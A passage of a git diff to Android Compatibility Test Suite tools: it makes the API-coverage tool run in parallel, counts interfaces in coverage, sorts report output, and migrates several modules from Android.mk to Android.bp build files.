-            this.mtestMethods = new ArrayList<>();
+            this.mtestMethods = Collections.synchronizedList(new ArrayList<>());
         }
 
         @Override
diff --git a/tools/cts-api-coverage/src/com/android/cts/apicoverage/CtsApiCoverage.java b/tools/cts-api-coverage/src/com/android/cts/apicoverage/CtsApiCoverage.java
index 95eb89f..c46df15 100644
--- a/tools/cts-api-coverage/src/com/android/cts/apicoverage/CtsApiCoverage.java
+++ b/tools/cts-api-coverage/src/com/android/cts/apicoverage/CtsApiCoverage.java
@@ -45,6 +45,9 @@
 import java.util.List;
 import java.util.Locale;
 import java.util.Set;
+import java.util.concurrent.ExecutorService;
+import java.util.concurrent.Executors;
+import java.util.concurrent.Future;
 
 import javax.xml.transform.TransformerException;
 
@@ -73,8 +76,6 @@
 
     private static final String NDK_PACKAGE_NAME = "ndk";
 
-    private static final String NDK_DUMMY_RETURN_TYPE = "na";
-
     private static void printUsage() {
         System.out.println("Usage: cts-api-coverage [OPTION]... [APK]...");
         System.out.println();
@@ -197,10 +198,22 @@
 
         // Add superclass information into api coverage.
         apiCoverage.resolveSuperClasses();
+
+        ExecutorService service =
+            Executors.newFixedThreadPool(Runtime.getRuntime().availableProcessors());
+        List<Future> tasks = new ArrayList<>();
         for (File testApk : testApks) {
-            addApiCoverage(apiCoverage, testApk, dexDeps);
-            addCddCoverage(cddCoverage, testApk, apiLevel);
+            tasks.add(addApiCoverage(service, apiCoverage, testApk, dexDeps));
+            tasks.add(addCddCoverage(service, cddCoverage, testApk, apiLevel));
         }
+        // Wait until all tasks finish.
+        for (Future task : tasks) {
+            task.get();
+        }
+        service.shutdown();
+
+        // The below two coverage methods assume all classes and methods have been already
+        // registered, which is why we don't run them parallelly with others.
 
         try {
             // Add coverage for GTest modules
@@ -267,22 +280,26 @@
      * @param apiCoverage object to which the coverage statistics will be added to
      * @param testApk containing the tests that will be scanned by dexdeps
      */
-    private static void addApiCoverage(ApiCoverage apiCoverage, File testApk, String dexdeps)
-            throws SAXException, IOException {
-        XMLReader xmlReader = XMLReaderFactory.createXMLReader();
-        String testApkName = testApk.getName();
-        DexDepsXmlHandler dexDepsXmlHandler = new DexDepsXmlHandler(apiCoverage, testApkName);
-        xmlReader.setContentHandler(dexDepsXmlHandler);
+    private static Future addApiCoverage(
+        ExecutorService service, ApiCoverage apiCoverage, File testApk, String dexdeps) {
+        return service.submit(() -> {
+            String apkPath = testApk.getPath();
+            try {
+                XMLReader xmlReader = XMLReaderFactory.createXMLReader();
+                String testApkName = testApk.getName();
+                DexDepsXmlHandler dexDepsXmlHandler = new DexDepsXmlHandler(apiCoverage, testApkName);
+                xmlReader.setContentHandler(dexDepsXmlHandler);
 
-        String apkPath = testApk.getPath();
-        Process process = new ProcessBuilder(dexdeps, "--format=xml", apkPath).start();
-        try {
-            xmlReader.parse(new InputSource(process.getInputStream()));
-        } catch (SAXException e) {
-          // Catch this exception, but continue. SAXException is acceptable in cases
-          // where the apk does not contain a classes.dex and therefore parsing won't work.
-          System.err.println("warning: dexdeps failed for: " + apkPath);
-        }
+                Process process = new ProcessBuilder(dexdeps, "--format=xml", apkPath).start();
+                xmlReader.parse(new InputSource(process.getInputStream()));
+            } catch (SAXException e) {
+                // Catch this exception, but continue. SAXException is acceptable in cases
+                // where the apk does not contain a classes.dex and therefore parsing won't work.
+                System.err.println("warning: dexdeps failed for: " + apkPath);
+            } catch (IOException e) {
+                throw new RuntimeException(e);
+            }
+        });
     }
 
     /**
@@ -313,7 +330,6 @@
                                 apiClass.markMethodCovered(
                                         sym.name,
                                         parameterTypes,
-                                        NDK_DUMMY_RETURN_TYPE,
                                         moduleName);
                             } else {
                                 System.err.println(
@@ -382,16 +398,22 @@
         }
     }
 
-    private static void addCddCoverage(CddCoverage cddCoverage, File testSource, int api)
-            throws IOException {
-
-        if (testSource.getName().endsWith(".apk")) {
-            addCddApkCoverage(cddCoverage, testSource, api);
-        } else if (testSource.getName().endsWith(".jar")) {
-            addCddJarCoverage(cddCoverage, testSource);
-        } else {
-            System.err.println("Unsupported file type for CDD coverage: " + testSource.getPath());
-        }
+    private static Future addCddCoverage(
+        ExecutorService service, CddCoverage cddCoverage, File testSource, int api) {
+        return service.submit(() -> {
+            try {
+                if (testSource.getName().endsWith(".apk")) {
+                    addCddApkCoverage(cddCoverage, testSource, api);
+                } else if (testSource.getName().endsWith(".jar")) {
+                    addCddJarCoverage(cddCoverage, testSource);
+                } else {
+                    System.err
+                        .println("Unsupported file type for CDD coverage: " + testSource.getPath());
+                }
+            } catch (IOException e) {
+                throw new RuntimeException(e);
+            }
+        });
     }
 
     private static void addCddJarCoverage(CddCoverage cddCoverage, File testSource)
diff --git a/tools/cts-api-coverage/src/com/android/cts/apicoverage/CurrentXmlHandler.java b/tools/cts-api-coverage/src/com/android/cts/apicoverage/CurrentXmlHandler.java
index de9f5d5..de96063 100644
--- a/tools/cts-api-coverage/src/com/android/cts/apicoverage/CurrentXmlHandler.java
+++ b/tools/cts-api-coverage/src/com/android/cts/apicoverage/CurrentXmlHandler.java
@@ -32,6 +32,8 @@
 
     private String mCurrentClassName;
 
+    private String mCurrentInterfaceName;
+
     private boolean mIgnoreCurrentClass;
 
     private String mCurrentMethodName;
@@ -67,7 +69,8 @@
             ApiPackage apiPackage = new ApiPackage(mCurrentPackageName);
             mApiCoverage.addPackage(apiPackage);
 
-        } else if ("class".equalsIgnoreCase(localName)) {
+        } else if ("class".equalsIgnoreCase(localName) ||
+                "interface".equalsIgnoreCase(localName)) {
             if (isEnum(attributes)) {
                 mIgnoreCurrentClass = true;
                 return;
@@ -80,9 +83,8 @@
                     mCurrentClassName, mDeprecated, is(attributes, "abstract"), superClass);
             ApiPackage apiPackage = mApiCoverage.getPackage(mCurrentPackageName);
             apiPackage.addClass(apiClass);
-        } else if ("interface".equalsIgnoreCase(localName)) {
-            // don't add interface
-            mIgnoreCurrentClass = true;
+        } else if ("implements".equalsIgnoreCase(localName)) {
+            mCurrentInterfaceName = attributes.getValue("name");
         } else if ("constructor".equalsIgnoreCase(localName)) {
             mDeprecated = isDeprecated(attributes);
             mCurrentParameterTypes.clear();
@@ -104,20 +106,20 @@
     public void endElement(String uri, String localName, String name) throws SAXException {
         super.endElement(uri, localName, name);
         if (mIgnoreCurrentClass) {
-            // do not add anything for interface
+            // do not add anything for enum
             return;
         }
         if ("constructor".equalsIgnoreCase(localName)) {
-            if (mCurrentParameterTypes.isEmpty()) {
-                // Don't add empty default constructors...
-                return;
-            }
             ApiConstructor apiConstructor = new ApiConstructor(mCurrentClassName,
                     mCurrentParameterTypes, mDeprecated);
             ApiPackage apiPackage = mApiCoverage.getPackage(mCurrentPackageName);
             ApiClass apiClass = apiPackage.getClass(mCurrentClassName);
             apiClass.addConstructor(apiConstructor);
-        }  else if ("method".equalsIgnoreCase(localName)) {
+        } else if ("implements".equalsIgnoreCase(localName)) {
+            ApiPackage apiPackage = mApiCoverage.getPackage(mCurrentPackageName);
+            ApiClass apiClass = apiPackage.getClass(mCurrentClassName);
+            apiClass.addInterface(mCurrentInterfaceName);
+        } else if ("method".equalsIgnoreCase(localName)) {
             ApiMethod apiMethod = new ApiMethod(
                     mCurrentMethodName,
                     mCurrentParameterTypes,
diff --git a/tools/cts-api-coverage/src/com/android/cts/apicoverage/DexDepsXmlHandler.java b/tools/cts-api-coverage/src/com/android/cts/apicoverage/DexDepsXmlHandler.java
index b728654..089662d 100644
--- a/tools/cts-api-coverage/src/com/android/cts/apicoverage/DexDepsXmlHandler.java
+++ b/tools/cts-api-coverage/src/com/android/cts/apicoverage/DexDepsXmlHandler.java
@@ -39,8 +39,6 @@
 
     private String mCurrentMethodName;
 
-    private String mCurrentMethodReturnType;
-
     private List<String> mCurrentParameterTypes = new ArrayList<String>();
 
     DexDepsXmlHandler(ApiCoverage packageMap, String testApkName) {
@@ -61,7 +59,6 @@
             mCurrentParameterTypes.clear();
         }  else if ("method".equalsIgnoreCase(localName)) {
             mCurrentMethodName = CurrentXmlHandler.getValue(attributes, "name");
-            mCurrentMethodReturnType = CurrentXmlHandler.getValue(attributes, "return");
             mCurrentParameterTypes.clear();
         } else if ("parameter".equalsIgnoreCase(localName)) {
             mCurrentParameterTypes.add(CurrentXmlHandler.getValue(attributes, "type"));
@@ -85,8 +82,7 @@
                 ApiClass apiClass = apiPackage.getClass(mCurrentClassName);
                 if (apiClass != null) {
                     apiClass.markMethodCovered(
-                            mCurrentMethodName, mCurrentParameterTypes, mCurrentMethodReturnType,
-                                    mTestApkName);
+                            mCurrentMethodName, mCurrentParameterTypes, mTestApkName);
                 }
             }
         }
diff --git a/tools/cts-api-coverage/src/com/android/cts/apicoverage/HasCoverage.java b/tools/cts-api-coverage/src/com/android/cts/apicoverage/HasCoverage.java
index f8d8054..ab44c56 100644
--- a/tools/cts-api-coverage/src/com/android/cts/apicoverage/HasCoverage.java
+++ b/tools/cts-api-coverage/src/com/android/cts/apicoverage/HasCoverage.java
@@ -30,8 +30,14 @@
         int rhsPct = Math.round(otherEntity.getCoveragePercentage());
         int diff = Integer.compare(getCoveragePercentageSegment(lhsPct),
                 getCoveragePercentageSegment(rhsPct));
-        return diff != 0 ? diff :
-            Integer.compare(otherEntity.getMemberSize(), entity.getMemberSize());
+        if (diff != 0) {
+            return diff;
+        }
+        diff = Integer.compare(otherEntity.getMemberSize(), entity.getMemberSize());
+        if (diff != 0) {
+            return diff;
+        }
+        return entity.getName().compareTo(otherEntity.getName());
     }
 
     /**
diff --git a/tools/cts-api-coverage/src/com/android/cts/apicoverage/XmlReport.java b/tools/cts-api-coverage/src/com/android/cts/apicoverage/XmlReport.java
index e6ac3af..e44ce60 100644
--- a/tools/cts-api-coverage/src/com/android/cts/apicoverage/XmlReport.java
+++ b/tools/cts-api-coverage/src/com/android/cts/apicoverage/XmlReport.java
@@ -45,6 +45,7 @@
 
         out.println("<debug>");
         out.println("<sources>");
+        Collections.sort(testApks);
         for (File testApk : testApks) {
             out.println("<apk path=\"" + testApk.getPath() + "\" />");
         }
@@ -85,12 +86,13 @@
                                 + "\">");
 
                         for (ApiConstructor constructor : apiClass.getConstructors()) {
-                            String coveredWithList =
-                                    constructor.getCoveredWith().stream().collect(Collectors.joining(","));
+                            List<String> coveredWithList = new ArrayList<String>(constructor.getCoveredWith());
+                            Collections.sort(coveredWithList);
+                            String coveredWith = coveredWithList.stream().collect(Collectors.joining(","));
                             out.println("<constructor name=\"" + constructor.getName()
                                     + "\" deprecated=\"" + constructor.isDeprecated()
                                     + "\" covered=\"" + constructor.isCovered()
-                                    + "\" with=\"" + coveredWithList
+                                    + "\" with=\"" + coveredWith
                                     + "\">");
                             if (constructor.isDeprecated()) {
                                 if (constructor.isCovered()) {
@@ -106,8 +108,9 @@
                         }
 
                         for (ApiMethod method : apiClass.getMethods()) {
-                            String coveredWithList =
-                                    method.getCoveredWith().stream().collect(Collectors.joining(","));
+                            List<String> coveredWithList = new ArrayList<String>(method.getCoveredWith());
+                            Collections.sort(coveredWithList);
+                            String coveredWith = coveredWithList.stream().collect(Collectors.joining(","));
                             out.println("<method name=\"" + method.getName()
                                     + "\" returnType=\"" + method.getReturnType()
                                     + "\" deprecated=\"" + method.isDeprecated()
@@ -116,7 +119,7 @@
                                     + "\" visibility=\"" + method.getVisibility()
                                     + "\" abstract=\"" + method.isAbstractMethod()
                                     + "\" covered=\"" + method.isCovered()
-                                    + "\" with=\"" + coveredWithList
+                                    + "\" with=\"" + coveredWith
                                     + "\">");
                             if (method.isDeprecated()) {
                                 if (method.isCovered()) {
diff --git a/tools/cts-device-info/jni/Android.bp b/tools/cts-device-info/jni/Android.bp
new file mode 100644
index 0000000..c8b788f
--- /dev/null
+++ b/tools/cts-device-info/jni/Android.bp
@@ -0,0 +1,33 @@
+// Copyright 2016 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+cc_library_shared {
+    name: "libctsdeviceinfo",
+    srcs: [
+        "CtsDeviceInfoJniOnLoad.cpp",
+        "com_android_cts_deviceinfo_VulkanDeviceInfo.cpp",
+    ],
+    static_libs: ["libvkjson_ndk"],
+    shared_libs: [
+        "libvulkan",
+        "liblog",
+        "libdl",
+    ],
+    stl: "c++_static",
+    cflags: [
+        "-Wall",
+        "-Werror",
+    ],
+    sdk_version: "current",
+}
diff --git a/tools/cts-device-info/jni/Android.mk b/tools/cts-device-info/jni/Android.mk
deleted file mode 100644
index 5786c20..0000000
--- a/tools/cts-device-info/jni/Android.mk
+++ /dev/null
@@ -1,35 +0,0 @@
-# Copyright 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := libctsdeviceinfo
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_SRC_FILES := \
-	CtsDeviceInfoJniOnLoad.cpp \
-	com_android_cts_deviceinfo_VulkanDeviceInfo.cpp
-
-LOCAL_STATIC_LIBRARIES := libvkjson_ndk
-LOCAL_SHARED_LIBRARIES := libvulkan liblog libdl
-LOCAL_NDK_STL_VARIANT := c++_static
-
-LOCAL_CFLAGS := -Wall -Werror
-
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_SHARED_LIBRARY)
diff --git a/tools/cts-dynamic-config/Android.mk b/tools/cts-dynamic-config/Android.mk
new file mode 100644
index 0000000..dc53d6b
--- /dev/null
+++ b/tools/cts-dynamic-config/Android.mk
@@ -0,0 +1,34 @@
+# Copyright (C) 2018 Google Inc.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := cts-dynamic-config
+LOCAL_MODULE_CLASS := FAKE
+LOCAL_IS_HOST_MODULE := true
+
+LOCAL_COMPATIBILITY_SUITE := cts general-tests vts mts
+
+# my_test_config_file := DynamicConfig.xml
+# TODO (sbasi): Update to use BUILD_HOST_TEST_CONFIG when it's primary install
+# location is the test case directory.
+# include $(BUILD_HOST_TEST_CONFIG)
+
+include $(BUILD_SYSTEM)/base_rules.mk
+
+$(LOCAL_BUILT_MODULE): $(HOST_OUT_TESTCASES)/$(LOCAL_MODULE)/$(LOCAL_MODULE).dynamic
+	@echo "cts-dynamic-config values: $(LOCAL_MODULE)"
+	$(hide) touch $@
diff --git a/tools/cts-dynamic-config/DynamicConfig.xml b/tools/cts-dynamic-config/DynamicConfig.xml
new file mode 100644
index 0000000..5916f42
--- /dev/null
+++ b/tools/cts-dynamic-config/DynamicConfig.xml
@@ -0,0 +1,20 @@
+<!-- Copyright (C) 2018 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<dynamicConfig>
+    <entry key="media_files_url">
+      <value>https://dl.google.com/dl/android/cts/android-cts-media-1.4.zip</value>
+    </entry>
+</dynamicConfig>
diff --git a/tools/cts-holo-generation/Android.bp b/tools/cts-holo-generation/Android.bp
new file mode 100644
index 0000000..72fb338
--- /dev/null
+++ b/tools/cts-holo-generation/Android.bp
@@ -0,0 +1,30 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_app {
+    name: "CtsHoloGeneration",
+    dex_preopt: {
+        enabled: false,
+    },
+    optimize: {
+        enabled: false,
+    },
+    static_libs: ["androidx.test.rules"],
+    libs: [
+        "android.test.runner.stubs",
+        "android.test.base.stubs",
+    ],
+    srcs: ["src/**/*.java"],
+    sdk_version: "current",
+}
diff --git a/tools/cts-holo-generation/Android.mk b/tools/cts-holo-generation/Android.mk
deleted file mode 100644
index de39c63..0000000
--- a/tools/cts-holo-generation/Android.mk
+++ /dev/null
@@ -1,36 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-include $(CLEAR_VARS)
-
-# don't include this package in any target
-LOCAL_MODULE_TAGS := optional
-# and when built explicitly put it in the data partition
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-# and because it is in data, do not strip classes.dex
-LOCAL_DEX_PREOPT := false
-LOCAL_PROGUARD_ENABLED := disabled
-
-LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
-
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_PACKAGE_NAME := CtsHoloGeneration
-
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_PACKAGE)
diff --git a/tools/cts-media-preparer-app/Android.bp b/tools/cts-media-preparer-app/Android.bp
new file mode 100644
index 0000000..400dac7
--- /dev/null
+++ b/tools/cts-media-preparer-app/Android.bp
@@ -0,0 +1,37 @@
+// Copyright (C) 2016 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsMediaPreparerApp",
+    defaults: ["cts_defaults"],
+    dex_preopt: {
+        enabled: false,
+    },
+    optimize: {
+        enabled: false,
+    },
+    srcs: ["src/**/*.java"],
+    static_libs: [
+        "androidx.test.rules",
+        "compatibility-device-util-axt",
+    ],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+        "mts",
+    ],
+    sdk_version: "test_current",
+}
diff --git a/tools/cts-media-preparer-app/Android.mk b/tools/cts-media-preparer-app/Android.mk
deleted file mode 100644
index c2d5731..0000000
--- a/tools/cts-media-preparer-app/Android.mk
+++ /dev/null
@@ -1,39 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# Don't include this package in any target
-LOCAL_MODULE_TAGS := tests
-# When built, explicitly put it in the data partition.
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_DEX_PREOPT := false
-
-LOCAL_PROGUARD_ENABLED := disabled
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules compatibility-device-util-axt
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_PACKAGE_NAME := CtsMediaPreparerApp
-
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/tools/cts-preconditions/Android.bp b/tools/cts-preconditions/Android.bp
new file mode 100644
index 0000000..9271afd
--- /dev/null
+++ b/tools/cts-preconditions/Android.bp
@@ -0,0 +1,36 @@
+// Copyright (C) 2015 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsPreconditions",
+
+    static_libs: [
+        "androidx.test.rules",
+        "compatibility-device-preconditions",
+    ],
+
+    libs: ["android.test.base.stubs"],
+
+    srcs: ["src/**/*.java"],
+
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+        "cts_instant",
+    ],
+
+    sdk_version: "26",
+}
diff --git a/tools/cts-preconditions/Android.mk b/tools/cts-preconditions/Android.mk
deleted file mode 100644
index 9c64e76..0000000
--- a/tools/cts-preconditions/Android.mk
+++ /dev/null
@@ -1,43 +0,0 @@
-# Copyright (C) 2015 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# Don't include this package in any target
-LOCAL_MODULE_TAGS := tests
-# When built, explicitly put it in the data partition.
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_DEX_PREOPT := false
-
-LOCAL_PROGUARD_ENABLED := disabled
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    androidx.test.rules \
-    compatibility-device-preconditions
-
-LOCAL_JAVA_LIBRARIES := android.test.base.stubs
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
-
-LOCAL_PACKAGE_NAME := CtsPreconditions
-
-LOCAL_SDK_VERSION := 26
-
-include $(BUILD_PACKAGE)
diff --git a/tools/cts-reference-app-lib/Android.mk b/tools/cts-reference-app-lib/Android.mk
deleted file mode 100644
index f006bb0..0000000
--- a/tools/cts-reference-app-lib/Android.mk
+++ /dev/null
@@ -1,35 +0,0 @@
-# Copyright (C) 2008 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-LOCAL_PATH := $(call my-dir)
-
-# the library
-# ============================================================
-include $(CLEAR_VARS)
-
-LOCAL_SRC_FILES := $(call all-subdir-java-files)
-
-# don't include this package in any target
-LOCAL_MODULE_TAGS := optional
-# and when built explicitly put it in the data partition
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_STATIC_JAVA_LIBRARIES := junit
-
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
-
-LOCAL_SDK_VERSION := current
-
-LOCAL_MODULE := android.cts.refapp
-
-include $(BUILD_STATIC_JAVA_LIBRARY)
diff --git a/tools/cts-reference-app-lib/src/android/cts/refapp/ReferenceAppTestCase.java b/tools/cts-reference-app-lib/src/android/cts/refapp/ReferenceAppTestCase.java
deleted file mode 100644
index 203b690..0000000
--- a/tools/cts-reference-app-lib/src/android/cts/refapp/ReferenceAppTestCase.java
+++ /dev/null
@@ -1,88 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.cts.refapp;
-
-import android.app.Activity;
-import android.test.ActivityInstrumentationTestCase2;
-import android.util.Log;
-
-import java.lang.InterruptedException;
-import java.lang.Thread;
-
-/**
- * Base Class that provides common functionality for all Reference Application Tests.
- */
-public class ReferenceAppTestCase<T extends Activity> extends ActivityInstrumentationTestCase2<T> {
-    /** The time to wait for the test host to finish taking the snapshot. */
-    private static final int SNAPSHOT_TIMEOUT_MS = 1000;
-    /** The default time that the applicaiton has to start in. */
-    private static final int DEFAULT_MAX_STATUP_TIME_MS = 5000;
-
-    private int maxStartupTimeMs;
-
-    /**
-     * Create a ReferenceAppTestCase for the specified activity.
-     *
-     * @param pkg the java package the class is contained in.
-     * @param activityClass the class of the activity to instrument.
-     * @param maxStartupTimeMs the startup time the activity should start in.
-     */
-    public ReferenceAppTestCase(String pkg, Class<T> activityClass, int maxStartupTimeMs) {
-        super(pkg, activityClass);
-        this.maxStartupTimeMs = maxStartupTimeMs;
-    }
-
-    /**
-     * Create a ReferenceAppTestCase for the specified activity.
-     *
-     * @param pkg the java package the class is contained in.
-     * @param activityClass the class of the activity to instrument.
-     */
-    public ReferenceAppTestCase(String pkg, Class<T> activityClass) {
-       this(pkg, activityClass, DEFAULT_MAX_STATUP_TIME_MS);
-    }
-
-    public void testActivityStartupTime() {
-        // Test activity startup time.
-
-        long start = System.currentTimeMillis();
-        Activity activity = getActivity();
-        long end = System.currentTimeMillis();
-
-        long startupTime = end - start;
-        assertTrue("Activity Startup took more than " + maxStartupTimeMs +
-                   " ms",
-                   startupTime <= maxStartupTimeMs);
-    }
-
-    /**
-     * Allows tests to record screen snapshots for inclusion in the
-     * CTS test report.
-     *
-     * @param name the name to save the snapshot under
-     */
-    public void takeSnapshot(String name) {
-        // request a snapshot from the CTS host
-        Log.d("ReferenceAppTestCase", "takeSnapshot:" + name);
-        // Give the host enough time to take the picture
-        try {
-            Thread.sleep(SNAPSHOT_TIMEOUT_MS);
-        } catch (InterruptedException e) {
-            // ok
-        }
-    }
-}
diff --git a/tools/dasm/Android.bp b/tools/dasm/Android.bp
new file mode 100644
index 0000000..c9bddd1
--- /dev/null
+++ b/tools/dasm/Android.bp
@@ -0,0 +1,25 @@
+//
+// Copyright (C) 2008 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+java_binary_host {
+  name: "dasm",
+  srcs: [ "src/**/*.java" ],
+  static_libs: [
+    "dx",
+  ],
+  manifest: "etc/manifest.txt",
+  wrapper: "etc/dasm",
+}
diff --git a/tools/dasm/Android.mk b/tools/dasm/Android.mk
deleted file mode 100644
index 1b1f328..0000000
--- a/tools/dasm/Android.mk
+++ /dev/null
@@ -1,31 +0,0 @@
-#
-# Copyright (C) 2008 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-LOCAL_PATH := $(call my-dir)
-
-# dasm (dalvik assembler) java library
-# ============================================================
-
-include $(CLEAR_VARS)
-LOCAL_IS_HOST_MODULE := true
-LOCAL_MODULE_CLASS := EXECUTABLES
-LOCAL_MODULE := dasm
